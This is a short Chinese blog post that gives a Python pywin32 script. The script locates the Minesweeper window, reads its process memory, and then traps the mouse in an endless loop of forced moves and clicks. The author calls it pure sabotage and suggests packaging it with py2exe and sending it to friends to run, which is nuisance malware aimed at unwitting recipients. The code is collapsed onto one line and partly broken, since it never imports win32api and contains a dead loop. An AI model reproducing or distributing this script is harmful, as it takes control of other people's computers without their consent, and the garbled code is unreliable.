python搞事情

xiaoxiao2021-02-27  243

1.安装pywin32

2.

import win32process import win32con import win32gui import ctypes shalei = u"扫雷" h = win32gui.FindWindow(0, u"扫雷") assert h!=0 hid,pid = win32process.GetWindowThreadProcessId(h) print (pid) while 0:   win32api.SendMessage(h,win32con.WM_COMMAND,0x20A,0) win32api.SendMessage(h,win32con.WM_COMMAND,0x209,0) PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) phand = win32api.OpenProcess(PROCESS_ALL_ACCESS,False,pid) date = ctypes.c_long() chars = (ctypes.c_char_p) mydll = ctypes.windll.LoadLibrary("C:\Windows\System32\kernel32.dll") mydll.ReadProcessMemory(int(phand),0x1005194,ctypes.byref(date),4,None) #ToDo #mydll.ReadProcessMemory(int(phand),0x1005361,ctypes.byref(chars),32*24,None) print (date.value) win32gui.SetForegroundWindow(h) win32api.keybd_event(18,0,0,0)      # Alt win32api.keybd_event(71,0,0,0)     # F win32api.keybd_event(71,0,win32con.KEYEVENTF_KEYUP,0)  #释放按键 win32api.keybd_event(18,0,win32con.KEYEVENTF_KEYUP,0) while 1:     win32api.SetCursorPos([20,62])    #为鼠标焦点设定一个位置     win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, h, h, 0, 0)     win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, h, 0, 0, 0)

3最后的鼠标事件可以让你崩溃  纯属搞破坏 一旦运行 鼠标就基本不受你控制了

4用py2exe打包 发给你的小伙伴运行吧  ^_^

转载请注明原文地址: https://www.6miu.com/read-10385.html

最新回复(0)